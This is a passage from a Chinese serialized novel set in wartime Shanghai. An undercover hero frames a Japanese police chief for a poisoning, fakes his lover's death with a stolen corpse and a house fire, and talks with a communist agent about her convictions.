周楚红被这突如其来的惊吓吓懵了,刚要惊叫,看到是李二狗才没有喊出声来。 “二狗,你……你怎么来了?不是和你说过了吗?我今晚不方便!” 李二狗没有多余的废话,直接说道:“我不允许你去!” 周楚红没想到自己刻意不告诉李二狗真相,但他还是知道了! 李二狗的表现令周楚红既感到欣喜又有些害怕! 她以为李二狗吃醋了! “二狗,你听我解释,今晚的事我真的是没有办法!但凡有一点办法,我都不会去!你知道的,我喜欢你!” 周楚红疯狂地吻住李二狗的嘴,一边吻一边泪流满面。 “楚红,你今晚真的不能去贵头正弘那里!” “二狗,我知道你一时接受不了这个现实,可我实在是没有办法啊!他是局长,你我都惹不起他的!” “我不管他是不是局长,你今晚都不能离开这间屋子!” 周楚红没想到李二狗竟如此迷恋自己,这令她很高兴,同时也很苦恼。 她知道,像她这样的女人,不配得到一个男人的感情! “二狗,我就去这一次,以后我都听你的,好吗?” 周楚红已经答应了贵头正弘,她了解这个猥琐日本人的脾气,如果她今晚不去,明天她就会被开除,甚至会被下令关入警察局的监狱! 他有一万种办法对付自己,可自己却无能为力! “楚红,你听我一次好吗?你今晚不能去!有危险!” 李二狗失口说出“危险”二字,顿时有些慌乱。 好在周楚红并没有听出什么异常,她以为李二狗只是吃醋了,是男人的占有欲在作祟。 “二狗,我也不想去,我也想和你在一起,但我不能不去!你拦也拦不住的!” 周楚红说着就要离开,被李二狗一把拉住了! “今天无论说什么我都不会让你去的!” 李二狗看似果敢坚毅,没想到却是一个如此黏人的男人。 周楚红看了看时间,无奈地说道:“二狗,我现在还有一点时间,要不然我先陪你做一次吧?做完之后你放我走,好吗?” 周楚红说着就伸手去解身上旗袍的扣子,被李二狗伸手拦住了。 “楚红,根本就不是你想的那样!今晚贵头正弘那里很危险,你不能去!” 周楚红一惊,手停在半空,赶忙问道:“有危险?什么危险?” 李二狗为了挽救周楚红,只得冒着计划暴露的风险,此时,不论发生什么,今晚他都不会让周楚红离开这间屋子。 “什么危险我不能告诉你,反正是有危险!你去了很可能就回不来了!” 周楚红仿佛察觉到了什么,不然李二狗不会如此坚决地留住自己。 贵头正弘是日本人,周楚红根本不关心他的死活。 “你是说有人今晚要杀他?” “我不知道!但今晚你不能离开这间屋子!” 周楚红盯住李二狗的眼睛,看得李二狗心里有些发毛。 “你实话告诉我,你到底是什么人?” 李二狗微微一一笑,说道:“我是中国人!” 周楚红内心不由得一惊,她知道,汉奸警察是不可能说出自己是中国人这句话的。 “你故意接近我,难道就是为了刺杀贵头正弘?” 周楚红猜对了一半,但这一半李二狗也不能承认,一旦承认,自己就无颜面对她了。 “楚红,你听我说,我接近你并不是为了刺杀贵头正弘,而且我也没想要刺杀贵头正弘。” “那你是为什么?” “我就是被你的气质吸引了,一时没有把持住自己!” 周楚红再次投入李二狗的怀抱,即使她不完全相信李二狗的话,但她相信,没有哪个正常的男人会不被自己迷住! “二狗,你听我说,如果今晚我不去贵头正弘那里,明天我就得离开警察局!生逢这样一个乱世,如果上面没人罩着,我一个女人根本无法在上海生活下去。” 李二狗脱口而出:“我养你!” 周楚红彻底沦陷了。 即使她知道,一个小小的司机根本没有能力养活她,但有他这句话,她也知足了! 第690章 贵头正弘被抓 两人亲热了一会儿,周楚红还是忍不住说道:“二狗,我知道你是好心,可今晚我要是不去贵头正弘那里,后果真的很严重!你还是让我去吧?” 李二狗笑道:“如果贵头正弘今晚就死了呢?” 周楚红着实吓得不轻。 “你刚才不是说不会刺杀贵头正弘吗?” “对,我说我不杀他,但我不能保证别人不会杀他,你知道有多少中国人痛恨日本人吗?” 周楚红也想让他死! “你能确定他今晚一定会死吗?” 李二狗真的不能确定。 如果竹田宫今晚没有喝那瓶红酒,贵头正弘就不会有事。 即使他今晚不喝,明天也会喝,明天不喝,后天也会喝。 只要他喝,贵头正弘的命就保不住! “楚红,如果今晚他没死,明天你就请假,他早晚躲不过一死!” 李二狗这话说得很含糊,但周楚红却选择相信他。 “二狗,我信你。” 两人抱在一起,等待着好消息的传来! 鏖战了一番之后,李二狗准备出去看看。 “二狗,你要走?” 尽管周楚红已经累得有些散架,但她还是舍不得李二狗离开。 “你告诉我贵头正弘的住址,我想去他家周围探探情况。” “非得今天去吗?要不然还是明天再看吧,马上就到宵禁时间了,被日本人抓住就麻烦了。” 李二狗轻松地笑道:“几个小日本鬼子就想抓住我?哈哈,怎么可能!你放心,我去看看就回。” 周楚红告诉李二狗贵头正弘家的地址之后,李二狗便出了门。 快到贵头正弘家的时候,李二狗看到院门口停着几辆汽车,周围站满了持枪的日本宪兵。 他心中不由得一喜,看来竹田宫出事了! 不一会儿,贵头正弘就被两名日本宪兵押了下来,身后还有几个佣人,也被一并押了出来。 “我冤枉!我冤枉!” 可日本宪兵根本不听他的解释,直接把他和那些佣人一起押上车,疾驰而去。 日本皇室成员被害,此事非同小可,即使李二狗的这个计划有漏洞,贵头正弘都死定了! 他是最合适的替罪羊! 日本人离开之后,李二狗大着胆子来到贵头正弘家中。 此时,他家中空无一人,日本人只顾着抓捕贵头正弘,根本无暇搜查。 李二狗直接来到书房,想寻找一些有价值的情报,很可惜,并没有什么发现。 他只好带着搜出来的一箱金条离开了贵头正弘的家。 贵头正弘干工作不行,搜刮财富倒是一把好手! 李二狗回到周楚红家中,把一箱金条放在桌上,把周楚红惊得半天说不出话来。 “这……这……你从哪弄的?” 李二狗笑道:“从贵头正弘家里搜来的,这些本来就是咱们中国的,不能便宜了那些日本鬼子。” “你把他怎么了?” “不是我把他怎么了,是他被日本宪兵抓走了!” “啊!” 周楚红一屁股坐在椅子上,嘴张开的像一个搪瓷缸。 “日本人怎么抓日本人?” 李二狗笑了笑,说道:“这我就不知道了!” 之前李二狗一系列反常的表现证明他事前肯定知道什么。 “二狗,你真的不知道?” “日本人的事我怎么会知道?让他们狗咬狗去吧,咱们乐见其成!” 周楚红还是有些心慌。 贵头正弘被日本宪兵抓走,本是一件令人高兴的事情,但她作为他的秘书,会不会受到牵连? “二狗,你说会不会牵扯到我?我明天还上班吗?” 李二狗不敢确定,但大体是不会牵扯到其他人。 竹田宫是喝了贵头正弘送的红酒死亡的,红酒是贵头正弘准备的,他即使想把责任推到别人身上,也找不到合适的理由。 但日本人做事,从来不能按正常人性推测,此事不得不防! 如果周楚红明天不去局里上班,反而显得做贼心虚。 突然,李二狗想到一件事,虽然周楚红对此事并不知情,可那个电话却是周楚红接的,日本人一定会调查那通神秘的电话。 以日本人的德性,周楚红一定会吃亏的。 “楚红,你必须离开这里,明天也不能回警察局上班了。” “啊!离开这里?离开这里我去哪里?” “先找个地方避一避,等过了这阵风头再说。” 周楚红已经吓得有些六神无主,但她别无选择。 “那我收拾一下东西。” “只带几件换洗的衣服和贵重物品即可,其他都不用带了。” “这些都不带了?” 周楚红看着满屋的家当,这都是她多年的心血。 李二狗拍了拍装满黄金的箱子,说道:“这些都是你的,其他的就都扔了吧。” 周楚红没想到李二狗如此大方,这么多的黄金竟都送给了她。 “好,我马上收拾。” 周楚红收拾了几件衣服和贵重首饰,全部装在一个小箱子里。 “好了,咱们走吧。” 李二狗带着周楚红来到一家旅馆门口,此时已是宵禁时间,旅馆已经关门。 李二狗敲了敲门,里面传来一个声音。 “现在是宵禁时间,已经关门了!” 李二狗知道,此时不是讲道理或者说好话的时候,直接喝骂道:“赶紧把门打开,老子是警察!” 听到“警察”二字,老板不敢怠慢,直接打开了房门。 李二狗掏出刚刚办好的警察证,在旅馆老板面前晃了晃。 “认识这个吗?” 旅馆老板虽然没看清,但认得那是警察证。 “老总,认得,认得!” “那就少废话,赶紧给老子开间房!” “好好好。”旅馆老板满口应承的同时又指了指李二狗手里的证件,“老总,日本人规定,入住需要登记证件,您看是不是……” “妈了个巴子!我看你是怀疑我的证件有假吧?” 李二狗喝骂一声,还是把证件扔给了旅馆老板,他的警察证是王富贵刚刚给办的,如假包换,他没必要藏着掖着。 旅馆老板接过烫手的警察证,赶紧去登记,然后给李二狗开了一间房。 李二狗搂着周楚红就上了楼。 旅馆老板低声骂道:“神气个啥?不过是日本人的一条狗罢了,我呸!” 第691章 借尸之计 两人来到房间之后,刚关上房门,周楚红便紧紧地抱住了李二狗。 “二狗,以后人家就是你的人了,你可不能不要人家啊。” 此时的周楚红完全没有了上海警界一枝花的高冷范,她就像一个无家可归的小女人,把自己的一切都交给了李二狗。 李二狗虽然女人很多,但他对每一个女人都是尽心尽力,绝不会亏待她们。 “放心吧,楚红,我会保护你的!” 周楚红依然抱着李二狗不松手,唯恐一松手他就会飞走一般。 “二狗,我好怕,我们上床睡觉吧?” 李二狗喉咙滚动了两下,他深吸一口气,轻轻拍了拍周楚红的后背,柔声道:“楚红,你先睡,我还得出去一趟!” “你要走?” 周楚红的担心还是发生了,难道这个男人真的要离她而去吗? “我不是走,我只是出去办点事,今天事发突然,你如果就这样离开了,就真成为日本人的通缉犯了。” 周楚红一直到现在脑子还是懵的,她不明白日本人为什么要抓捕贵头正弘。 但有一点她很清楚,作为贵头正弘的秘书,如果他出了事,自己肯定会受到牵连。 现在她只能选择相信李二狗,这个男人总是给她一种踏实的感觉。 “这么晚了,你要做什么?” 李二狗心中早已有了一个计划,但这个计划他现在还不能告诉周楚红,免得她担心。 “我出去探探情况,一会儿就回来,不会有事的。” 李二狗不说,周楚红便不再追问,她是一个惯于察言观色的女人。 “二狗快点回来,人家有点害怕!” 周楚红明白女人最大的武器是温柔。 李二狗双手捧着她的脸颊,然后亲吻了一下她的额头。 “我很快就回来了,你乖乖的,记住,除了我之外,不要给任何人开门。” 周楚红泪眼婆娑地点了点头,李二狗现在就是她的天!她的全部指望。 李二狗转身开门下了楼,旅馆老板见李二狗下来,急忙站了起来。 “老总,您有什么吩咐?” 李二狗故意板着一张脸,面无表情地说道:“快点打开门,我要出去办个案子。” 旅馆老板不敢违拗也不敢问,赶紧打开了门。 “你先别睡觉,待会儿我还回来。” “老总请放心,您不回来我肯定不睡觉,嘿嘿。” 李二狗出了旅馆的门,直接向东而去。 前两天白天的时候,他路过一个地方,那是是专门收殓尸体的地方。 每天都有成百上千的尸体源源不断地运进去,堆积在院子里面等待焚尸炉焚烧。 很快,李二狗便来到那个地方,里面果然还有很多没有焚烧的尸体,横七竖八地堆放在院子里,显得阴森恐怖。 因为这里阴气太重,再加上有些尸体已经发臭,白天都很少有人会经过这里,晚上更是不见人影。 此刻,偌大的停尸场竟没有一丝声响,那些焚烧工人此刻都不知所踪。 “呱呱……” 几只乌鸦突然从尸体上飞起,发出几声凄惨的叫声之后,“扑腾扑腾”飞走了。 李二狗被这突如其来的声音吓得心跳加速,还好他胆子大,要不然早吓掉魂了。 他用毛巾捂住口鼻,掏出随身携带的手电筒,低头在尸体堆里寻找着什么。 前方一个身穿旗袍的尸体引起了李二狗的注意,她的身材和周楚红差不多,正是李二狗要找的人。 他从旁边的一个筐子里拿过一个裹尸袋,走到那个尸体旁边。 人死为大,李二狗知道自己这样做很不人道,但他确实没有别的办法。 他伫立在女人的尸体前方,对着女人的尸体祷告道:“这位妹妹,对不起了,我今天这样做实在是迫不得已,你放心,我一定会给你多烧纸钱,祝你早登极乐世界,阿弥陀佛!菩萨保佑!得罪了!” 李二狗深吸一口气,把女人的尸体装进了裹尸袋里面。 他还是下意识地看了看周围,然后才把裹尸袋扛在肩上,快速离开了这个阴气森森的地方。 李二狗扛着裹尸袋走了两个路口,正好碰到一队巡逻的日本鬼子。 已经有好几天没杀日本鬼子了,他此刻有些手痒难耐。 但想到还有重要的事情要做,为了以防万一,他只能克制住内心的渴望。 他躲在一个角落里,一直等巡逻的日本鬼子离开之后才背上裹尸袋快速向前走去。 来到周楚红家附近,李二狗并没有直接进屋,他担心有日本鬼子已经埋伏在那里。 他把裹尸袋放下,捡起一块石头,直接扔在门板上。 石头击中门板的声音在寂静的夜里显得格外响亮,屋子里并没有任何动静,李二狗这才放下心来。 他背起裹尸袋进入了周楚红的家。 他把尸体从裹尸袋里面掏出来,这是今天刚刚离世的一个女人,她容貌姣好,脸上有几道伤痕,衣服上有几处破损。 李二狗突然变得有些伤感,他跪在地上,对着女人的尸体“哐哐哐”磕了三个响头。 “今天这样做实在是情非得已!希望你不要怪我,要怪就怪那些可恶的日本鬼子!我李二狗今天向你保证,一定杀十个日本鬼子替你报仇!妹子,一路走好!” 李二狗把女人的尸体放在床上,然后找来一个煤油灯,把里面的煤油撒在床上、桌子上,然后掏出一根火柴,犹豫了一下,还是点燃了。 点火之后,他关上房门快速离开了这所房子。 熊熊大火燃烧着,不一会儿便传来“失火”的尖叫声。 目前的上海十室九空,李二狗相信,这场火肯定没人去救,上海警界一枝花今晚之后将成为一个传说。 李二狗回到旅馆,旅馆老板果然还在等他。 “老总,您回来了。” 他神情委顿、眼角泛红,想来是熬夜熬得很辛苦。 “辛苦了!” 李二狗扔给他两块大洋,迅速上了楼。 “谢谢老总,谢谢老总。” 李二狗来到房间,轻轻敲了敲房门,里面传来一个警惕的声音。 “谁?” “是我,二狗。” 房门瞬间打开了。 “二狗,你可回来了。” 周楚红几乎把自己挂在了李二狗身上。 李二狗顺手关上房门,熄了灯…… 第692章 杀人灭口 第二天一早,李二狗让周楚红在旅馆等候,独自一人来到警局。 办公楼下面站着几个荷枪实弹的日本宪兵,他们一个个凶神恶煞,吓得大家纷纷低着头快速进入办公楼。 李二狗走到三楼,看到通往四楼的楼梯口同样站着几个日本宪兵,他们持枪堵住了通往四楼的楼梯。 “富贵,出什么事了?” 王富贵没有说话,他快速起身走到房门前,把头伸到外边看了看楼道里的情况,才回身关上房门。 “二狗,你还没听说吧?咱们局长昨晚被宪兵司令部的人抓走了。” 李二狗故意表现出一副吃惊的样子。 “你听谁说的?这不太可能吧?他们可都是日本人啊!” 王富贵的消息来源很可靠,而且日本宪兵正在楼上查抄贵头正弘的办公室,他显得非常肯定。“怎么不可能?”尽管办公室并没有旁人,他还是刻意压低声音,神秘地说道:“我还听说贵头正弘之所以被抓起来是因为他杀了竹田宫。” “你确定?”李二狗追问道。 “千真万确!” 李二狗内心窃喜,脸上却依然是一副难以置信的样子。 “按理说他们都是日本人,还身居要职,怎么会同胞相残呢?再说,咱们局长为什么要杀竹田宫?他可是日本皇室成员啊。” “这个我就不知道了,也许是高层斗争吧?张副局长一早就被叫到日军宪兵司令部谈话了,想来此事必有隐情。” 李二狗急忙问道:“富贵,这事不会连累到咱们吧?” 王富贵倒显得很淡定。 “不会,咱们又不是局长的人,应该不会牵扯到咱们。”说到这,王富贵突然想到了什么,他神色一变,显得有些悲伤。 “你还不知道吧?周楚红昨晚在家里被人放火烧死了!” “啊!这怎么可能?”李二狗失声惊呼道。 “千真万确,哎,可惜了这么一个大美人,实在是太可惜了!” 李二狗想进一步确认细节,便问道:“你亲眼见到的吗?” 王富贵叹息道:“我没有亲眼见到,是下面警局一早报告的,她的尸体已经烧得面目全非,想想真是可怜,哎!” 李二狗故意把凶手往贵头正弘身上引,便说道:“贵头正弘杀了竹田宫,可这和周楚红有什么关系?他为什么要杀她呢?” 王富贵一愣,感觉李二狗的话有几分道理,之前他还真没想到这一层。 “二狗,你小子还真是做警察的料,我怎么就没想到这层呢?他可能是想杀人灭口吧。” 李二狗故意问道:“杀人灭口?你这话什么意思?” 此时的李二狗又变成了警界小白。 “你想啊,她是贵头正弘的贴身秘书,他们之间又是那种关系,肯定知道他很多不为人知的事情,如今眼见事情败露,杀人灭口也是有的。” 李二狗流泪了,眼泪“吧嗒吧嗒”往下掉。 王富贵则是有些幸灾乐祸的表情。 “我说二狗啊,你才来咱们局里几天啊,怎么?还和她处出感情来了?” 李二狗赶紧擦掉泪水,不好意思地说道:“我和她也不是很熟悉,只是突然有些伤感罢了,她是那样的美丽迷人,就这样死了,实在是太可惜了。” 王富贵感同身受,在无数个辗转反侧的夜晚,他在床上意淫了周楚红无数次,谁承想她突然就变成了一堆焦炭,实在是可悲可怜可叹可惜! “哎,谁说不是呢?自古红颜多祸水,也多薄命,也许这就是她的命吧!” 李二狗不愿意再看王富贵假惺惺地感慨,便转移了话题。 “富贵,我看咱们局里来了这么多日本宪兵,他们要做什么?” “查抄局长办公室呗。这次死的可是日本皇室成员,事关重大,松井石根需要给日本皇室一个交代,据我分析,不管凶手是不是贵头正弘,他这次都死定了!” “凶手不是他?那是谁?” 王富贵忍不住笑了,这个李二狗的头脑只配做个司机。 “是谁都不重要,关键是要抓到凶手。” 李二狗又问道:“那凶手抓到了吗?” 王富贵忍不住笑骂道:“你傻啊?贵头正弘不是已经被抓了吗?他就是凶手!” 李二狗这才一副恍然大悟的表情。 “原来是这样!富贵,以后我得叫你老师,你知道的可真多啊!我得好好向你学习。” “行啊,只要你愿意学,我就教你,不过公共租界那个酒吧咱们什么时候去啊?嘿嘿,我可一直期待着。” “哈哈,随时都可以去,主要看你时间。” 王富贵一副淫荡的表情。 “最近太多事,等忙完这几天就去,我这辈子还没开过洋荤呢,上次让你那么一说,这几天我脑子里全是洋妞的样子,哈哈。” “好,到时候欧洲、美洲、非洲的洋妞一样给你找一个,就怕到时候你这体格子受不了啊,哈哈。” “你别看我瘦,浑身都是肌肉,我肯定不能给咱中国爷们丢脸不是?哈哈。” 李二狗知道王富贵下流,没想到他如此下流。 两人经过此番下流的交流,感情又增进了不少,这正是李二狗想要的结果。 “富贵,你说张副局长会不会转正成为咱们局长?” 李二狗的这个问题也是王富贵最关心的问题。 如果张金荣能接替贵头正弘成为局长,那他这个秘书的地位也会提高一大截。 “此事恐怕没有那么容易,其实日本人骨子里是看不起咱们中国人的,当然也不相信咱们,他们现在只是不得不利用咱们维持社会治安罢了。以我分析,即使贵头正弘这次倒台了,也轮不到张副局长当局长,局长的位子还得由日本人来坐。” “这也太不公平了,他们不相信咱们中国人,难道日本人就可以相信吗?这不贵头正弘也出事了?” 王富贵急忙说道:“小点声,小心让日本人听到。” “我说的是事实,他们听到又能怎么样?” 正在这时,外边响起了敲门声。 第693章 小人得志 王富贵赶紧对李二狗做出了一个噤声的手势。 他快步走到房门前,问道:“谁?” “王秘书,是我,陈光明。” 陈光明是上海警察局办公室副主任,办公室主任早上已经被日本宪兵带去司令部审查了。 王富贵立即打开房门,笑问道:“陈主任,有什么指示?” 他刚说完,便看到陈光明身后站着两个凶神恶煞的日本宪兵,当即收起来笑容。 “王秘书,请你马上打开张副局长的办公室,太君要进去检查。” 王富贵脸色一变,日本人为什么要搜查张金荣的办公室?难道日本人发现了什么线索?还是他招供了? 这实在是令人难以理解! 但此刻日本宪兵就站在陈光明身后,王富贵根本不敢违拗,连忙从身上掏出钥匙,打开了张金荣办公室的房门。 两个日本宪兵鱼贯而入之后,竟在里面把房门关上了。 “陈主任,这到底是怎么回事?为什么要搜查张副局长的办公室?” 陈光明这时表情才稍微松弛下来,一脑门子的汗珠。 “不光是张副局长,所有局领导的办公室都得搜查。” 王富贵忍不住抱怨道:“日本人这样做也太过分了吧?一个人生病,咱们都得跟着吃药?” 陈光明对日本人的做法也很反感,但此刻他的内心却有些窃喜。 贵头正弘出事之后,办公室主任一大早就被带到日军宪兵司令部审查,自己这个平时只负责撰写文字材料的副主任很可能会接替他成为新的上海警察局办公室主任,这等于是天上掉馅饼的好事,他怎能不激动! “王秘书,日本人这样做肯定有他们这样做的道理,咱们做下属的只管遵照执行就好,其他的事不是咱们该过问的!” 王富贵作为上海警察局二把手的秘书,平时办公室主任见到他都要笑脸相迎,没想到陈光明一个小小的办公室副主任竟和自己打起了官腔。 也许是他认为张金荣进了日军宪兵司令部就不会再回来了。 但王富贵了解张金荣的为人,他是死心塌地想当汉奸,没有理由会谋杀日本人。 即使他不能当上局长,副局长的位子应该不成问题。 想到这些,他的底气壮了很多。 “我还有事,就不陪陈主任了。” 王富贵刚要回自己办公室,陈光明说道:“王秘书,先别走,一会儿太君就出来了,如果有什么事,我想你还是在场比较好。” 王富贵狠狠地瞪了陈光明一眼,真他妈的小人得志! 两人站在张金荣办公室门前,都没有再说话,气氛相当尴尬。 十分钟之后,房门打开了,两名日本宪兵从里面走了出来。 “开路!” 很显然,他们并没有搜到什么有价值的东西。 陈光明赶紧屁颠屁颠跟了上去,王富贵锁好张金荣办公室的门,回到自己办公室。 “我看他小人得志的样子就想吐,呸!以前见到老子都是王哥王哥的叫,现在竟敢给老子打官腔,小人!” 李二狗笑道:“和这样的人犯不上生气!日本人怎么还搜查张副局长的办公室?他不会有事吧?” “日本人不光搜查了张副局长的办公室,其他几个副局长的办公室也一起搜查了,张副局长对日本人一向忠心耿耿,应该没事的。” 李二狗长舒一口气,说道:“那就好,我这一天车还没开,要是张副局长不回来了,我可就真是丢人现眼了。” 王富贵笑道:“不会的,张副局长一定不会有事的。” “但愿吧!”李二狗往前凑了凑,低声说道:“富贵,能不能再帮我办几张公共租界的通行证?” 王富贵刚刚给李二狗办了一张通行证,没想到他得寸进尺,还想要通行证。 “你要那么多通行证干什么?” “实不相瞒,我有几个朋友也想到公共租界里面去住。” 王富贵一副为难的样子。 “二狗,咱们是兄弟,我就不和你绕弯子了,如今公共租界的通行证真的不好办,需要打点的人太多了。” 李二狗早就料到王富贵会如此说,他早做了准备。 “富贵,咱们是兄弟,我肯定不能让你为难,这个你拿去打点打点,我只要三张通行证便可。” 李二狗从兜里掏出两根金条,塞到王富贵手中。 王富贵惊呆了! 他看着手心里两根金灿灿的金条,一时竟有些不知所措。 俗话说,盛世的古董,乱世的黄金。 如今这个世道,物价飞涨,国民党发行的纸币根本无法流通,黄金不再是单纯的黄金,那可是无价之宝。 “二狗,你这……实在是太客气了!还是拿回去吧,我不能收!” 王富贵嘴上说着不能收,可把金条却攥在手里紧紧的。 李二狗笑道:“你帮我办事,哪有再让你破费的道理?你放心,事成之后,我还得好好感谢你。” 王富贵立马拍着胸脯保证道:“二狗,你放心,这事包在我身上,我一定给你办好,谁让咱们是兄弟呢?你说是吧?哈哈。” 李二狗已经计划好了,他在公共租界还有两套空着的房子,宋若楠和周楚红一人一套,等通行证办好了,就把她们全部接到公共租界里居住。 其实李二狗还有一个更长远的计划,酒井空目前正在美国销售一夜八次丸,她来信说美国经济发达、社会安定,更是没有战火,是一个非常适合居住的国家。 等机会合适,李二狗准备把她们全部送到美国去。 两人正说话间,外边响起了一阵脚步声。 王富贵第一时间听出是张金荣的脚步声。 “张副局长回来了。” 他赶紧起身开门走了出去。 果然是张金荣。 “张副局长,您回来了。” 张金荣明显受到了惊吓,此时他精神有些萎靡,一副无精打采的样子。 他慌乱地掏出钥匙,插了好几次都没有插到锁眼里。 王富贵见状,赶紧上前帮他打开门锁。 “我不叫,任何人不要进来!” 他推开房门走了进去,然后“砰”的一声关上了房门。 第694章 人人平等、自由美好的新世界 “张副局长他怎么了?我怎么感觉他像丢了魂一样。” 王富贵煞有介事地分析道:“二狗啊,你还是不了解日本人啊。日军宪兵司令部那是什么地方?龙潭虎穴!鬼进去都得哭着出来,我想张副局长他肯定受到了很大的惊吓。” 两人感叹了一番,回到了办公室。 由于张金荣在市政府借调的司机一直没有还回去,李二狗成了整个上海警察局最清闲的人。 “富贵,通行证的事还得麻烦你抓点紧啊。” 王富贵收了李二狗两根金条,这点事他肯定可以办好。 “放心吧,明天就给你办好。” “那谢谢兄弟了,我有事,出去一趟,要是张副局长问起,你就说我去租界了。” 因为两根金条的缘故,王富贵越看越觉得李二狗可亲可爱。 “你放心去吧,这里交给我。” 刺杀竹田宫的计划已经成功,李二狗要赶紧把这个好消息告诉徐青霞。 他来到法租界徐青霞的住所,按照约定的暗号敲了五下门板,门立马便打开了。 李二狗刚进门便迫不及待地说道:“青霞,我们成功了!” “竹田宫死了?” “死了!” 徐青霞兴奋极了,她扑到李二狗怀里,激动的手舞足蹈。 “他真的死了吗?你确定吗?” “我确定!他真的死了!死的透透的!” “二狗,你好伟大!我爱死你了!” 徐青霞在李二狗脸上狂吻。 “帮你做成了这么大的一件事,你要怎么感谢我?” 徐青霞脸红了,红的像一个熟透的红苹果。 “只要你要,你要我有!” 李二狗一把抱起徐青霞,走向了卧室。 徐青霞羞涩地把头埋进李二狗的怀抱里,这一刻,她幸福的简直要死掉了! 一个时辰之后,徐青霞瘫软在李二狗怀里。 “二狗,你以后就留在上海吗?” 李二狗不想欺骗她,如实说道:“我只能在上海待一段时间,还得赶回江东,那边还有很多事等着我。” “真希望你永远不要离开我!” 李二狗有些心疼徐青霞,她如此年轻、如此柔弱,却要和凶残的日本鬼子搏命。 “青霞,刺杀任务完成了,你还是申请调离上海吧?这里实在是太危险了。” 徐青霞笑了笑,说道:“就是因为危险我才更要留下来,我不怕危险!” “可我怕!”李二狗的声音不自觉大了许多,“你如果有什么危险,我可怎么活?” 徐青霞被李二狗的深情感动了。 “二狗,我既然已经选择了这条路,就注定无法回头了。如今日本人侵占我国土,屠戮我同胞,人人都有抗日之责,哪怕是死,也要死得其所,你不用为我难过。” 李二狗说道:“可你并不是力行社的人,你完全可以离开啊。” 徐青霞说道:“正因为我不是力行社的人,我才更不能离开!党当初派我到力行社执行潜伏任务,没有党的命令我是不能离开力行社的。” “可上海已经沦陷,你留在这里太危险了。要不然你请示一下你们上级,是否可以把你调到其他地方去?” “无论去哪,都是打鬼子。而且现在是国共合作时期,两党的任务都是抗日救国,我去哪里都是一样的。” 李二狗紧紧地抱住徐青霞,声音无限温柔。 “可我就是舍不得让你如此冒险!” “二狗,谢谢你帮我刺杀了竹田宫,通过这件事,总社肯定会对我委以重任,如果我可以接任上海站站长一职,对于我今后的潜伏工作实在是太有利了。亲爱的,请原谅我,我真的不能离开上海。” 李二狗不明白,徐青霞几年前还是一个天真无邪的学生,这才短短几年的时间,她怎么会变得如此有理想、有抱负、有追求? 到底是什么改变了她? “青霞,你如此不顾及自己的性命,到底是图什么?你为什么非要加入共产党?” 徐青霞眼里突然有了色彩。 “二狗,因为信仰,因为要救国救民。我坚信,只有共产党才可以救中国,只有马克思主义,才能给我们这个饱经苦难的民族带来希望。” 李二狗之前从来没有听说过马克思主义,他也不明白,为什么只有共产党才可以救中国。 “青霞,你说的希望是什么?重新建立一个国家吗?” “二狗,我们共产党和国民党完全不一样,因为我们自始至终都站在人民这边。等我们执掌政权,那些腐朽、黑暗、压榨百姓的权贵阶级,都会被彻底铲除。我们击碎的,是套在普通民众身上的镣铐与枷锁,我们想要建立的,是一个人人平等、自由美好的新世界。” “可是你想过没有,如果你死了,以后的这一切和你还有什么关系?” “我们共产党本就是为创造新世界而生,世间所有不公与苦难,总要有人站出来打破、重塑、改变。为了这份理想,我们每一名共产党人,随时都可以献出自己的生命。” 李二狗突然觉得自己这前半生白活了,如果真有这样一个世界,他也愿意去为之奋斗,可这样的世界真的存在吗? 大家都是中国人,为什么国民党建立不了这样的世界,而共产党却可以? “青霞,我可以理解你的理想,但这条路太危险,我不能眼睁睁看着你送死。” “二狗,你对我的感情我会永远记在心里,但我的信仰,绝不会退让半步。没有人能摧毁我的信仰。” 李二狗没想到,徐青霞小小的身体里竟蕴藏着如此大的能量。 他想到了宋小曼,宋小曼也和徐青霞一样是共产党员,也是充满了高昂的革命斗争。 只不过她没有徐青霞表述的如此高大、如此有感染力。 大学生毕竟是大学生,她说出的话竟如此打动人! 此刻,他开始重新审视共产党。 这个党真的可以救中国吗? 他们真的可以建立一个人人平等、自由美好的新世界吗? 我要不要加入他们? 李二狗对自己发出灵魂之问。 第695章 二次创业 经过与徐青霞的此番交谈,李二狗的思想受到了强烈的冲击,他满脑子里全是人人平等、自由美好的新世界。 面对这样一个山河破碎、生灵涂炭的国家,谁不想生活在那样一个崭新的新世界里? 但李二狗在憧憬的同时又陷入了更大的迷茫之中。 如果生活在那样一个新世界里,自己现在所有的一切是不是会重新归零? 清风集团怎么办? 胡家大院怎么办? 他的那些女人又怎么办? 他现在的所作所为能否被那样的一个新世界所接纳? 大抵是不能的! 憧憬与迷茫交织在一起,李二狗的内心被这种复杂的情绪持续强烈地冲击着。 一时间,他感到无所适从! 顺利刺杀竹田宫之后,李二狗再也没有了后顾之忧,他离开法租界徐青霞家里,来到公共租界。 “二狗!真的是你吗?” 于兰芝见到李二狗,瞬间便泪流满面,她等这个男人实在是等得太久了。 “兰芝,我来晚了。” “二狗,人家都想死你了。” 于兰芝扑入李二狗的怀抱,抱得紧紧的、紧紧的…… “爹爹……” “梦瑶,快让爹爹抱抱,你好像长高了不少,想爹爹没有?” “想了。”李梦瑶奶声奶气地说道。 自从于兰芝带着她来到上海之后,梦瑶的名字就从胡梦瑶变成了李梦瑶。 一切都是水到渠成,她本来就是李二狗的亲生女儿。 李二狗一手抱着李梦瑶,一手搂着于兰芝,人世间最幸福的事情莫过如此。 之后的几天,李二狗分别去看望了李富贵、静雯、张玲玉、春花,一时间,他恨不得把自己分成八瓣。 其实她们每个人都知道对方的存在,但却保持着鸡犬相闻,老死不相往来的状态! 张玲玉还是老样子,神志一会儿糊涂一会儿清醒,她虽然嘴里时常念叨着李二狗的名字,但李二狗站在她面前,她却不知道这个男人就是她日思夜想的人。 春花带着牛犊子一起生活,牛犊子长得越大,眉眼间越像李二狗。 但他还叫牛犊子,目前已经上小学。 春花为其取了一个大名,牛家和。 许久未见,李二狗看得出春花眼里的渴望,但他还是选择了逃避。 有些事、有些人,一旦错过,也就错过了,再也回不到当初的模样。 尽管世事艰难,好在他们都过得平安无事。 李二狗从王富贵那里拿到公共租界的通行证之后,悄悄把周楚红接到了公共租界,把她安置在自己以前置办的一所房子里。 倒是宋若楠,不知道出于什么原因,没有跟随李二狗私奔到公共租界,而是选择留了下来。 李二狗尊重宋若楠的选择,自己不能给她一个承诺,更不能给她一个家,在这样一个乱世,她选择留在上海警察局副局长家中,本无可厚非。 “二狗,原谅我好吗?我知道我这样做你会很失望,但我真的有自己不得已的苦衷。” 李二狗只是笑了笑,他有一种被人甩了的感觉,心里再苦也只能咽到肚子里。 “若楠,我没有怪你,我理解并尊重你的选择。” 